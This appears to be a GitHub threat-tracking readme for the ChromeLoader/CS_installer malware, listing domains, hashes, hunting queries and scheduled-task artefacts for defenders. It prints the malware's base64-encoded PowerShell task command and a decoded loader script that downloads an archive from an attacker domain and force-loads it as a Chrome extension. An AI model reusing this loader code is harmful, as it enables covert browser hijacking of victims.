{"payload":{"allShortcutsEnabled":false,"path":"Threat-Track/CS_INSTALLER","repo":{"id":412824334,"defaultBranch":"main","name":"Threat-Remediation-Scripts","ownerLogin":"xephora","currentUserCanPush":false,"isFork":false,"isEmpty":false,"createdAt":"2021-10-02T14:45:52.000Z","ownerAvatar":"https://avatars.githubusercontent.com/u/41995051?v=4","public":true,"private":false,"isOrgOwned":false},"currentUser":null,"refInfo":{"name":"main","listCacheKey":"v0:1662346312.391696","canEdit":false,"refType":"branch","currentOid":"ca28d79f07a335f2805738b0058e538a68
{"items":[{"name":"decompiling_attempt","path":"Threat-Track/CS_INSTALLER/decompiling_attempt","contentType":"directory"},{"name":"images","path":"Threat-Track/CS_INSTALLER/images","contentType":"directory"},{"name":"choziosiloader-remediation-script.ps1","path":"Threat-Track/CS_INSTALLER/choziosiloader-remediation-script.ps1","contentType":"file"},{"name":"readme.md","path":"Threat-Track/CS_INSTALLER/readme.md","contentType":"file"}],"templateDirectorySuggestionUrl":null,"readme":{"displayName":"readme.md","richText":"

Observed malicious IOCs for the ChromeLoader/CS_installer aka Choziosi Loader Malware

\n

CrowdStrike Query to hunt for ChromeLoader

\n

```
ChromeLoader ScriptContent!=null\n| dedup ComputerName\n| rex field=ScriptContent \"(?<MaliciousDomain>(\\$domain = \\\"[a-zA-Z0-9.]*.))\"\n| table _time ComputerName ScriptContent MaliciousDomain\n
```

\n

```
CommandLine=\"*CS_installer.exe*\" FilePath=\"*CdRom*\"\n| dedup ComputerName\n| table _time ComputerName CommandLine FilePath SHA256HashData\n
```

\n

Sigma Rule for ChromeLoader available (Thanks to Twitter User @Kostastsale)

\n
Twitter Reference: https://twitter.com/Kostastsale/status/1480821678145826818
\nSigma Rule: https://github.com/tsale/Sigma_rules/blob/main/malware/ChromeLoader.yml

\n

Date of first occurrence

\n
01-02-2022

\n

Description:

\n
CS_installer/ChromeLoader starts off as an ISO that masquerades as Video Game Cheats/Illegal Software/Freeware, also advertised on twitter via QR Codes. It was observed that the malicious ISO was downloaded as a zipped archive. Once downloaded and extracted, the victim runs the ISO on their machine which on Windows 10 or above mounts to disk. The ISO contains a malicious binary named CS_installer.exe (also seen as setup.exe) and a Win32 API for scheduletask along with configurations files and a symbols file. Once mounted, the folder containing the malicious binary is locked and will not be removed by the antivirus client. It requires dismounting of the disk image to release the binary. Upon execution of the binary `CS_installer.exe`, numerous persistence mechanisms are created and also a Chrome Extension is downloaded and saved to disk. Once the extension is saved, it extracts the data and installs it into Chrome. The persistence is configured to execute a PowerShell command that runs a base64 encoded payload which will ensure the ChromeExtension remains on the machine. It was also observed that the powershell command removes the previously registered scheduled task before creating one again and repeats the Chrome Extension installation process.

\n

Sample Analysis

\n
https://app.any.run/tasks/bfb74c9f-89d0-4c3b-8c65-233677cdbfc5

\n

Domains Observed

\n

```
hxxps[://]learnataloukt[.]xyz\nhxxps[://]brokenna[.]work\nhxxps[://]yflexibilituky[.]co\nhxxps[://]ktyouexpec[.]xyz
reported by Twitter user @th3_protoCOL https://twitter.com/th3_protoCOL/status/1480621526764322817\nhxxps[://]withyourret[.]xyz
reported by Twitter user @th3_protoCOL https://twitter.com/th3_protoCOL/status/1480621526764322817\nhxxps[://]bosscast[.]net
reported by Twitter user @cbecks_2\nhxxps[://]soap2day[.]ac               reported by Twitter user
@cbecks_2\nhxxps[://]wallpaperaccess[.]com       reported by Twitter user @cbecks_2\nhxxps[://]uploadhaven[.]com           reported
by Twitter user @cbecks_2 and @ffforward https://twitter.com/ffforward/status/1480914393084878851\nhxxps[://]steamunlocked[.]net
reported by Twitter user @ffforward https://twitter.com/th3_protoCOL/status/1480621526764322817\nhxxps[://]etterismype[.]co\t
reported by Twitter user @cbecks_2 https://twitter.com/cbecks_2/status/1480994197515771914\nhxxps[://]downloadfree101.com
reported by Twitter user @StopMalvertisin https://twitter.com/StopMalvertisin/status/1480972727225761794
\nhxxps[://]ithconsukultin[.]com        reported by Twitter user @Enadanil
https://twitter.com/Enadanil/status/1481454649546788868\nhxxps[://]tobepartou[.]com            reported by Twitter user @Enadanil
https://twitter.com/Enadanil/status/1481454649546788868\nhxxps[://]yeconnected[.]com\nhxxps[://]idwhitdoe[.]work\nhxxps[://]yeconne
cted[.]com\n
```

\n

Malicious ISO

\n
The Naming convention of the ISOs appear to be targeting young adults. These names consistenly change each infection it seems.

\n

```
Universal Chat Spammer.iso\nRoblox Muscle Legends Script _ AutoFarm + More ....iso\n[UPDATED] Bee Swarm Simulator Script GUI _
Hack....iso\nThis_Young_Maidenhead_Family_Now_Makes_15800_..._1.iso\nThe Sims 4 [w_ ALL DLC] Free Download.iso\nHow To Install
Shaders For Minecraft 1.18.1_1....iso => reported by reddit user remuchiiee\nTwisted Lies by Shandi Boyes.iso\nFile_
BONEWORKS.v1.6.zip ....iso\n
```

\n
https://www.virustotal.com/gui/file/fa52844b5b7fcc0192d0822d0099ea52ed1497134a45a2f06670751ef5b33cd3
\nhttps://www.virustotal.com/gui/file/b43767a9b780ba91cc52954aa741be1bddb0905b492e481aea992bca2a0c6a93\nhttps://www.virustotal.com/gui/file/860c1f6f3393014fd84bd29359b4200027274eb6d97ee1a49b61e038d3336372
\nhttps://www.virustotal.com/gui/file/ad68453553a84e03c70106b7c13a483aa9ff1987621084e22067cb1344f52ab7
\nhttps://www.virustotal.com/gui/file/cd999181de69f01ec686f39ccf9a55131a695c55075d530a44f251a8f41da7c8\nhttps://www.virustotal.com/gui/file/0fb038258bbbc61d4f43cac585ec92c79a9a231bcd265758c23c78f96ac1dbb2
\nhttps://www.virustotal.com/gui/file/3fc00a37c13ee987ec577a8fd2c9daae31ec482c5276208ddff4bc5cb518c2f3
\nhttps://www.virustotal.com/gui/file/e132de4b3b6b6135121c809e43c0adf3ebf10cb92e7b3c989c24c68ed970a6e6
\nhttps://www.virustotal.com/gui/file/03b2f267de27dae24de14e2c258a18e6c6d11581e6caee3a6df2b7f42947d898
\nhttps://www.virustotal.com/gui/file/e449eeade197cab542b6a11a3bcb972675a1066a88cfb07f09e7f7cbd1d32f6d
\nhttps://www.virustotal.com/gui/file/785f4ee0b26aac97429cdf99b04d2dab44798f2554b61512b49b59f834e91250
\nhttps://www.virustotal.com/gui/file/e1f9968481083fc826401f775a3fe2b5aa40644b797211f235f2adbeb0a0782f

\n
Additional Hashes reported by twitter user @cbecks_2

\n

```
0ecbe333ec31a169e3bce6e9f68b310e505dedfed50fe681cfd6a6a26d1f7f41\n1717de403bb77e49be41edfc398864cfa3e351d9843afc3d41a47e5d0172ca79\
n18073ce19f3391f82c649a244b5555a88124fb6f496c28a914aa0f4ce139e3f2\n1b4786ecc9b34f30359b28f0f89c0af029c7efc04e52832ae8c1334ddd2b631e
\n2e006a8e9f697d8075ba68ab5c793670145ea56028c488f1a00b29738593edfb\n31b2944fb4d13a288497e64b2c4a110127e3f685fae38860aaf68336f7804d1
3\n3927e4832dcbfae7ea9e2622af2a37284ceaf93b86434f35878e0077aeb29e7e\n41cc04487a80093df4ac9bb64afc44eb6492bb49fc125b4601cd53476f18d5
a4\n614e2c3540cc6b410445c316d2e35f20759dd091f2f878ddf09eda6ab449f7aa\n66f2ade2a78843c91445f808673d6ae0fe3a13402faac2962f04544a62ffb
c2d\n6d89c1cd593c2df03cdbd7cf3f58e2106ff210eeb6f60d5a4bf3b970989dee2e\n8840f385340fad9dd452e243ad1a57fb44acfd6764d4bce98a936e14a7d0
bfa6\n9ab4665f627e17377f7feda1d3ca4facb5448db587d4d22d2740585ab3fb1f54\n9dd11c756bdf612f372f3d37410bcc469f586f2fc826df5c679b3e77501
c9371\na9670d746610c3be342728ff3ba8d8e0680b5ac40f4ae6e292a9a616a1b643c8\nbcc6cfc82a1dc277be84f28a3b3bb037aa9ef8be4d5695fcbfb24a1033
174947\ndd2da35d1b94513f124e8b27caff10a98e6318c553da7f50206b0bfded3b52c9\nedeec82c65adf5c44b52fbdc4b7ff754c6bd391653bba1e0844f0cab9
06a5baf\nfb9cce7a3fed63c0722f8171e8167a5e7220d6f8d89456854c239976ce7bb5d6\n
```

\n
mounted ISO mainly contains:

\n

```
\\Device\\CdRom0\\CS_INSTALLER.EXE (Also seen as
setup.exe)\n\\Device\\CdRom0\\CS_installer.exe.config\n\\Device\\CdRom0\\CS_installer.pdb\n\\Device\\CdRom0\\CS_installer.pdb\n\\De
vice\\CdRom0\\Microsoft.Win32.TaskScheduler.dll\n\\Device\\CdRom0\\_meta.txt\n
```

\n

CS_installers

\n
https://www.virustotal.com/gui/file/ded20df574b843aaa3c8e977c2040e1498ae17c12924a19868df5b12dee6dfdd
\nhttps://www.virustotal.com/gui/file/5f57a4495b9ab853b9d2ab7d960734645ebe5765e8df3b778d08f86119e1695c
\nhttps://www.virustotal.com/gui/file/187e08fca3ea9edd8340aaf335bd809a9de7a10b2ac14651ba292f478b56d180\nhttps://www.virustotal.com/gui/file/1dbe5c2feca1706fafc6f767cc16427a2237ab05d95f94b84c287421ec97c224
\nhttps://www.virustotal.com/gui/file/5c07178b0c44ae71310571b78dde5bbc7dc8ff4675c20d44d5b386dfb4725558
\nhttps://www.virustotal.com/gui/file/42afb7100d3924915fde289716def039cd14d8116757061df503874217d9b047
\nhttps://www.virustotal.com/gui/file/2df0cf38c8039745f0341fc679d1dd7a066ec0d2e687c6914d2a2256f945d96d Reported by Twitter user @cbecks_2
\nhttps://www.virustotal.com/gui/file/aed9351ff414ddf1ecbfeb747b0bc6d650fcf026290cb670cbbaaad02fdf3dcd Reported by Twitter user @cbecks_2
\nhttps://www.virustotal.com/gui/file/dca529c6ec9ea1f638567d5b6c34af4f47a80c0519178c4829becc337db5be02 Reported by Twitter user @cbecks_2

\n

Additional CS_installer.exe hashes added 01-24-2022

\n

```
9eca0cd45c00182736467ae18da21162d0715bd3d53b8df8d92a74a76a89c4a0\n564e913a22cf90ede114c94db8a62457a86bc408bc834fa0e12e85146110c89b\nc56139ea4ccc766687b743ca7e2baa27b9c4c14940f63c7568fc064959214307\n53347d3121764469e186d2fb243f5c33b1d768bf612cc923174cd54979314dd3\n44464fb09d7b4242249bb159446b4cf4c884d3dd7a433a72184cdbdc2a83f5e5\nafc8a5f5f8016a5ce30e1d447c156bc9af5f438b7126203cd59d6b1621756d90\n2d4454d610ae48bf9ffbb7bafcf80140a286898a7ffda39113da1820575a892f\n
```

\n

Observed behavior

\n

```
Reads hostname\nHKEY_LOCAL_MACHINE\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\n\nOS Credential
Dumping\nDNSCompatibility.exe\n\nChecks Windows Trust
Settings\nHKEY_CURRENT_USER\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUSTPROVIDERS\\SOFTWARE\n\nReads settings of
System
Certificates\nHKEY_LOCAL_MACHINE\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\305F8BD17AA2CBC483A4C41B19A39A
0C7\n5DA39D6\n\nChecks supported
languages\nHKEY_LOCAL_MACHINE\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\SORTING\\VERSIONS\n\nEnvironmental
Variables\nHKEY_LOCAL_MACHINE\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\n\nChecks Windows Installation
Data\nHKEY_LOCAL_MACHINE\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\n\nEnumeration of Software\nDNSCompatibility.exe\n
```

\n

Scheduled Task

\n
ChromeLoader uses a Windows API `Microsoft.Win32.TaskScheduler` to create a Scheduled task

\n

> \n
> ChromeLoader uses a dictionary to name the scheduled task.
>
> \n

\n

```
string[] namesDict = new
string[]\n\t{\n\t\"Loader\",\n\t\"Monitor\",\n\t\"Checker\",\n\t\"Conf\",\n\t\"Task\",\n\t\"Updater\"\n\t};\n\t\nint nameIndex =
new Random().Next(namesDict.Length);\nstring taskName = \"Chrome\" +
namesDict[nameIndex];\nts.RootFolder.RegisterTaskDefinition(taskName, td);
```

\n

\n
- ChromeLoader
  \n
- ChromeMonitor

\n
- ChromeChecker
  \n
- ChromeConf
  \n
- ChromeTask
  \n
- ChromeUpdater
  \n

\n
The scheduled task contains the following command which executes a PowerShell command with a base64 payload.

\n

```
cmd /c start /min \"\" powershell -ExecutionPolicy Bypass -WindowStyle Hidden -E <base64EncodedPayload>\n
```

\n
I have observed two scenarios of how the base64 payload is executed.

\n
\n
1. A descramble function exists to reconstructs base64 payload.
   \n

\n

```
Dictionary<char, char> replaceDict = new Dictionary<char, char>\n{\n    <dictionary of characters>\n}\n\nforeach (char c in
File.ReadAllText(\"_meta.txt\"))\n\t{\n\t\tif (replaceDict.ContainsKey(c))\n\t\t{\n\t\t\tres +=
replaceDict[c].ToString();\n\t\t}\n\t\telse\n\t\t{\n\t\t\tres += c.ToString();\n\t\t}\n\t}\n\treturn res;
```

\n
\n
1. The PowerShell command may be hardcoded into the malware binary `CS_installer.exe`. Shown in the below images.
   \n

\n

\"alt

\n

\"alt

\n

Retrieving ChromeLoader Scheduled Tasks using PowerShell

\n

```
Get-ScheduledTask -Taskname \"ChromeLoader\" -EA SilentlyContinue\nGet-ScheduledTask -Taskname \"ChromeTask\" -EA
SilentlyContinue\nGet-ScheduledTask -Taskname \"ChromeConf\" -EA SilentlyContinue\nGet-ScheduledTask -Taskname \"ChromeUpdater\" -
EA SilentlyContinue\nGet-ScheduledTask -Taskname \"ChromeMonitor\" -EA SilentlyContinue\nGet-ScheduledTask -Taskname
\"ChromeChecker\" -EA SilentlyContinue\n
```

\n

Scheduled Task Location# 1

\n

```
Location 1: C:\\windows\\system32\\tasks\\ChromeLoader  \nLocation 1: C:\\windows\\system32\\tasks\\ChromeTask  \nLocation 1:
C:\\windows\\system32\\tasks\\ChromeConf  \nLocation 1: C:\\windows\\system32\\tasks\\ChromeMonitor  \nLocation 1:
C:\\windows\\system32\\tasks\\Chromeupdater  \nLocation 1: C:\\windows\\system32\\tasks\\ChromeChecker  \n
```

\n

Contents of the scheduled task

\n

```
<?xml version=\"1.0\" encoding=\"UTF-16\"?>\n<Task version=\"1.2\"
xmlns=\"http://schemas.microsoft.com/windows/2004/02/mit/task\">\n  <RegistrationInfo>\n    <Date>2022-01-08T12:48:01.586-
05:00</Date>\n    <Description>Example task</Description>\n    <URI>\\ChromeLoader</URI>\n  </RegistrationInfo>\n  <Triggers>\n
<TimeTrigger>\n      <Repetition>\n        <Interval>PT10M</Interval>\n        <StopAtDurationEnd>false</StopAtDurationEnd>\n
</Repetition>\n      <StartBoundary>2022-01-08T12:49:01.55-05:00</StartBoundary>\n      <Enabled>true</Enabled>\n
</TimeTrigger>\n  </Triggers>\n  <Settings>\n    <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>\n
<DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries>\n    <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>\n
<AllowHardTerminate>true</AllowHardTerminate>\n    <StartWhenAvailable>false</StartWhenAvailable>\n
<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>\n    <IdleSettings>\n      <Duration>PT10M</Duration>\n
<WaitTimeout>PT1H</WaitTimeout>\n      <StopOnIdleEnd>true</StopOnIdleEnd>\n      <RestartOnIdle>false</RestartOnIdle>\n
</IdleSettings>\n    <AllowStartOnDemand>true</AllowStartOnDemand>\n    <Enabled>true</Enabled>\n    <Hidden>false</Hidden>\n
<RunOnlyIfIdle>false</RunOnlyIfIdle>\n    <WakeToRun>false</WakeToRun>\n    <ExecutionTimeLimit>PT72H</ExecutionTimeLimit>\n
<Priority>7</Priority>\n  </Settings>\n  <Actions Context=\"Author\">\n    <Exec>\n      <Command>cmd</Command>\n
<Arguments>/c start /min \"\" powershell -ExecutionPolicy Bypass -WindowStyle Hidden -E
JABlAHgAdABQAGEAdABoACAAPQAgACIAJAAoACQAZQBuAHYAOgBMAE8AQwBBAEwAQQBQAFAARABBAFQAQQApAFwAYwBoAHIAbwBtAGUAIgAKACQAYwBvAG4AZgBQAGEAdAB
oACAAPQAgACIAJABlAHgAdABQAGEAdABoAFwAYwBvAG4AZgAuAGoAcwAiAAoAJABhAHIAYwBoAGkAdgBlAE4AYQBtAGUAIAA9ACAAIgAkACgAJABlAG4AdgA6AEwATwBDAE
EATABBAFAAUABEAEEAVABBACkAXABhAHIAYwBoAGkAdgBlAC4AegBpAHAAIgAKACQAdABhAHMAawBOAGEAbQBlACAAPQAgACIAQwBoAHIAbwBtAGUATABvAGEAZABlAHIAI
gAKACQAZABvAG0AYQBpAG4AIAA9ACAAIgB5AGYAbABlAHgAaQBiAGkAbABpAHQAdQBrAHkALgBjAG8AIgAKAAoAJABpAHMATwBwAGUAbgAgAD0AIAAwAAoAJABkAGQAIAA9
ACAAMAAKACQAdgBlAHIAIAA9ACAAMAAKAAoAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAdABlAHI
AIAAiAG4AYQBtAGUAPQAnAGMAaAByAG8AbQBlAC4AZQB4AGUAJwAiACkAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAEMAbwBtAG0AYQBuAGQATABpAG4AZQ
AgAHwAIABGAG8AcgBFAGEAYwBoAC0ATwBiAGoAZQBjAHQAIAB7AAoACQBpAGYAKAAkAF8AIAAtAE0AYQB0AGMAaAAgACIAbABvAGEAZAAtAGUAeAB0AGUAbgBzAGkAbwBuA
CIAKQB7AAoACQAJAGIAcgBlAGEAawAKAAkAfQAKAAoACQAkAGkAcwBPAHAAZQBuACAAPQAgADEACgB9AAoACgBpAGYAKAAkAGkAcwBPAHAAZQBuACkAewAKAAoACQBpAGYA
KAAtAG4AbwB0ACgAVABlAHMAdAAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAiACQAZQB4AHQAUABhAHQAaAAiACkAKQB7AAoACgAJAAkAdAByAHkAewAKAAkACQAJAHcAZwB
lAHQAIAAiAGgAdAB0AHAAcwA6AC8ALwAkAGQAbwBtAGEAaQBuAC8AYQByAGMAaABpAHYAZQAuAHoAaQBwACIAIAAtAG8AdQB0AGYAaQBsAGUAIAAiACQAYQByAGMAaABpAH
YAZQBOAGEAbQBlACIACgAJAAkAfQBjAGEAdABjAGgAewAKAAkACQAJAGIAcgBlAGEAawAKAAkACQB9AAoACgAJAAkARQB4AHAAYQBuAGQALQBBAHIAYwBoAGkAdgBlACAAL
QBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAiACQAYQByAGMAaABpAHYAZQBOAGEAbQBlACIAIAAtAEQAZQBzAHQAaQBuAGEAdABpAG8AbgBQAGEAdABoACAAIgAkAGUAeAB0
AFAAYQB0AGgAIgAgAC0ARgBvAHIAYwBlAAoACQAJAFIAZQBtAG8AdgBlAC0ASQB0AGUAbQAgAC0AcABhAHQAaAAgACIAJABhAHIAYwBoAGkAdgBlAE4AYQBtAGUAIgAgAC0
ARgBvAHIAYwBlAAoACgAJAH0ACgAJAGUAbABzAGUAewAKAAoACQAJAHQAcgB5AHsACgAJAAkACQBpAGYAIAAoAFQAZQBzAHQALQBQAGEAdABoACAALQBQAGEAdABoACAAIg
AkAGMAbwBuAGYAUABhAHQAaAAiACkACgAJAAkACQB7AAoACQAJAAkACQAkAGMAbwBuAGYAIAA9ACAARwBlAHQALQBDAG8AbgB0AGUAbgB0ACAALQBQAGEAdABoACAAIgJABjA
G8AbgBmAFAAYQB0AGgACgAJAAkACQAJACQAYwBvAG4AZgAuAFMACABsAGkAdAAoACIAOwAiACkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAKAAkA
CQAJAAkACQBpAGYAIAAoACQAXwAgAC0ATQBhAHQAYwBoACAAIgBkAGQAIgApAAoACQAJAAkACQAJAHsACgAJAAkACQAJAAkACQAkAGQAZAAgAD0AIAAkAF8ALgBTAHAAbAB
pAHQAKAAnACIAJwApAFsAMQBdAAoACQAJAAkACQAJAH0AZQBsAHMAZQBpAGYAIAAoACQAXwAgAC0ATQBhAHQAYwBoACAAIgBFAHgAdABlAG4AcwBpAG8AbgBWAGUAcgBzAG
kAbwBuACIAKQAKAAkACQAJAAkACQB7AAoACQAJAAkACQAJAAkAJAB2AGUAcgAgAD0AIAAkAF8ALgBTAHAAbABpAHQAKAAnACIAJwApAFsAMQBdAAoACQAJAAkACQAJAH0AC
gAJAAkACQAJAH0ACgAJAAkACQB9AAoACQAJAH0AYwBhAHQAYwBoAHsAfQAKAAoACQAJAGkAZgAgACgAJABkAGQAIAAtAGEAbgBkACAAJAB2AGUAcgApAHsACgAKAAoACQAJ
AAkAdAByAHkAewAKAAoACQAJAAkACQAkAHUAbgAgAD0AIAB3AGcAZQB0ACAAIgBoAHQAdABwAHMAOgAvAC8AJABkAG8AbQBhAGkAbgAvAHUAbgA/AGQAaQBkAD0AJABkAGQ
AJgB2AGUAcgA9ACQAdgBlAHIAIgAKAAoACQAJAAkACQBpAGYAKAAkAHUAbgAgAC0ATQBhAHQAYwBoACAAIgAkAGQAZAAiACkAewAKAAkACQAJAAkACQBVAG4AcgBlAGcAaQ
BzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AVABhAHMAawBOAGEAbQBlACAAIgAkAHQAYQBzAGsATgBhAG0AZQAiACAALQBDAG8AbgBmAGkAcgBtA
DoAJABmAGEAbABzAGUACgAJAAkACQAJAAkAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBwAGEAdABoACAAIgAkAGUAeAB0AFAAYQB0AGgAIgAgAC0ARgBvAHIAYwBlACAA
LQBSAGUAYwB1AHIAcwBlAAoACQAJAAkACQB9AAoACgAJAAkACQB9AGMAYQB0AGMAaAB7AH0ACgAKAAkACQAJAHQAcgB5AHsACgAJAAkACQAJAHcAZwBlAHQAIAAiAGgAdAB
0AHAAcwA6AC8ALwAkAGQAbwBtAGEAaQBuAC8AYQByAGMAaABpAHYAZQAuAHoAaQBwAD8AZABpAGQAPQAkAGQAZAAmAHYAZQByAD0AJAB2AGUAcgAiAC\n
```

\n

Scheduled Task Location# 2

\n

ChromeLoader creates one of the following registry keys for Scheduled task

\n

```
Location 2: HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\TREE\\ChromeLoader
\nLocation 2: HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\TREE\\ChromeTask
\nLocation 2: HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\TREE\\ChromeConf
\nLocation 2: HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\TREE\\ChromeMonitor
\nLocation 2: HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\TREE\\ChromeUpdater
\nLocation 2: HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\TREE\\ChromeChecker  \n
```

\n

Contents of the registry key

\n

```
Property   Type Value
\n--------   ---- -----
\nSD       Binary
(0x)01,00,04,80,94,00,00,00,b0,00,00,00,00,00,00,00,14,00,00,00,02,00,80,00,04,00,00,00,00,10,18,00,9f,01,1f,00,01,02,00,00,00,00,0
0,0\n
5,20,00,00,00,20,02,00,00,00,10,14,00,9f,01,1f,00,01,01,00,00,00,00,00,05,12,00,00,00,00,10,24,00,ff,01,1f,00,01,05,00,00,00,00,00,
05,\n
15,00,00,00,79,7b,4c,2a,f0,c4,03,8b,df,0b,88,58,ea,03,00,00,00,00,24,00,89,00,12,00,01,05,00,00,00,00,00,05,15,00,00,00,79,7b,4c,2a
,f0\n
,c4,03,8b,df,0b,88,58,ea,03,00,00,00,00,00,00,01,05,00,00,00,00,00,05,15,00,00,00,79,7b,4c,2a,f0,c4,03,8b,df,0b,88,58,ea,03,00,00,0
1,0\n                5,00,00,00,00,00,05,15,00,00,00,79,7b,4c,2a,f0,c4,03,8b,df,0b,88,58,01,02,00,00
\nId       String {95F41003-19E5-4FEF-BC34-BD6B24044329}
\nIndex     DWord 3 \n
```

\n

Scheduled Task Location# 3

\n
ChromeLoader also creates one of the following registry keys.

\n
Location 3: HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tasks{X-X-X-X-X}

\n
(To save you time, you can retrieve the task unique identifier by running the powershell command below)

```
\nGet-ItemProperty -Path \"HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tasks\\*\" | Select-String \"ChromeLoader\"
\nGet-ItemProperty -Path \"HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tasks\\*\" | Select-String \"ChromeTask\"
\nGet-ItemProperty -Path \"HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tasks\\*\" | Select-String \"ChromeConf\"
\nGet-ItemProperty -Path \"HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tasks\\*\" | Select-String \"ChromeMonitor\"
\nGet-ItemProperty -Path \"HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tasks\\*\" | Select-String \"ChromeChecker\"
\nGet-ItemProperty -Path \"HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tasks\\*\" | Select-String \"ChromeUpdater\"
```

\n

Contents of the registry key {X-X-X-X-X}

\n

```
HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tasks\\{53998BBE-E665-4C14-8F9A-5C7B3A0A9392}\n\nProperty      Type Value
\n--------      ---- -----
\nPath        String \\ChromeLoader
\nHash        Binary (0x)c7,eb,cd,26,ec,d5,2f,5d,59,55,18,03,21,85,e3,c6,32,dc,05,59,2b,1b,d8,04,dc,3f,8c,74,11,b5,3d,08
\nSchema       DWord 65538
\nDate        String 2022-01-06T13:27:37.271-05:00
\nDescription String Example task
\nURI         String \\ChromeLoader
\nTriggers    Binary (0x)17,00,00,00,00,00,00,00,00,07,01,00,00,00,06,00,80,b8,45,38,2b,03,d8..[TRUNCATION]
\nActions     Binary (0x)03,00,0c,00,00,00,41,00,75,00,74,00,68,00,6f,00,72,00,66,66..[TRUNCATION]
\nDynamicInfo Binary (0x)03,00,00,00,98,86,ad,14,2b,03,d8,01,aa,f5,5b,ad,52,06,d8,01,..[TRUNCATION] \n
```

\n

Snippet of base64 decoded powershell script

\n

```
$extPath = \"$($env:LOCALAPPDATA)\\chrome\"\n$confPath = \"$extPath\\conf.js\"\n$archiveName = \"$($env:LOCALAPPDATA)\\archive.zip\"\n$taskName = \"ChromeLoader\"\n$domain = \"SomeMaliciousDomain\"\n\n$isOpen = 0\n$dd = 0\n$ver = 0\n\n(Get-WmiObject Win32_Process -Filter \"name='chrome.exe'\") | Select-Object CommandLine | ForEach-Object {\n\tif($_ -Match \"load-extension\"){\n\t\tbreak\n\t}\n\n\t$isOpen = 1\n}\n\nif($isOpen){\n\n\tif(-not(Test-Path -Path \"$extPath\")) {\n\n\t\ttry{\n\t\t\twget \"https://$domain/archive.zip\" -outfile \"$archiveName\"\n\t\t}catch{\n\t\t\tbreak\n\t\t}\n\n\t\tExpand-Archive -LiteralPath \"$archiveName\" -DestinationPath \"$extPath\" -Force\n\t\tRemove-Item -path \"$archiveName\" -Force\n\n\t}\n\telse{\n\n\t\ttry{\n\t\t\tif (Test-Path -Path \"$confPath\")\n\t\t\t{\n\t\t\t\t$conf = Get-Content -Path $confPath\n\t\t\t\t$conf.Split(\";\") | ForEach-Object {\n\t\t\t\tif ($_ -Match \"dd\")\n\t\t\t\t{\n\t\t\t\t\t$dd = $_.Split('\"')[1]\n\t\t\t\t}elseif ($_ -Match \"ExtensionVersion\")\n\t\t\t\t{\n\t\t\t\t\t$ver = $_.Split('\"')[1]\n\t\t\t}\n\t\t\t}\n\t\t}catch{}\n\n\tif ($dd -and $ver){\n\n\t\ttry{\n\t\t\t$un = wget \"https://$domain/un?did=$dd&ver=$ver\"\n\n\t\t\tif($un -Match \"$dd\"){\n\t\t\t\tUnregister-ScheduledTask -TaskName \"$taskName\" -Confirm:$false\n\t\t\t\tRemove-Item -path \"$extPath\" -Force -Recurse\n\t\t}\n\n\t}catch{}\n\n\t\ttry{\n\t\t\twget \"https://$domain/archive.zip?did=$dd&ver=$ver\" -outfile \"$archiveName\"\n\t\t}\n\t\tcatch{}\n\n\t\tif (Test-Path -Path \"$archiveName\"){\n\t\t\tExpand-Archive -LiteralPath \"$archiveName\" -DestinationPath \"$extPath\" -Force\n\t\tRemove-Item -path \"$archiveName\" -Force\n\n\t}\n\n\t}\n\n\t}\n\n\ttry{\n\tGet-Process chrome | ForEach-Object { $_.CloseMainWindow() | Out-Null}\n\tstart chrome --load-extension=\"$extPath\", --restore-last-session, --noerrdialogs, --disable-session-crashed-bubble\n\t}catch{}\n\n}
```

\n

Dropped Extension location

\n

```
C:\\users\\<Profile>\\appdata\\local\\chrome\n
```

\n

Malicious Extension

\n

```
sha256sum archive.zip\n561f219a76e61d113ec002ecc4c42335f072be0f2f23e598f835caba294a3f9b  archive.zip\n\nContents:\nbackground.js
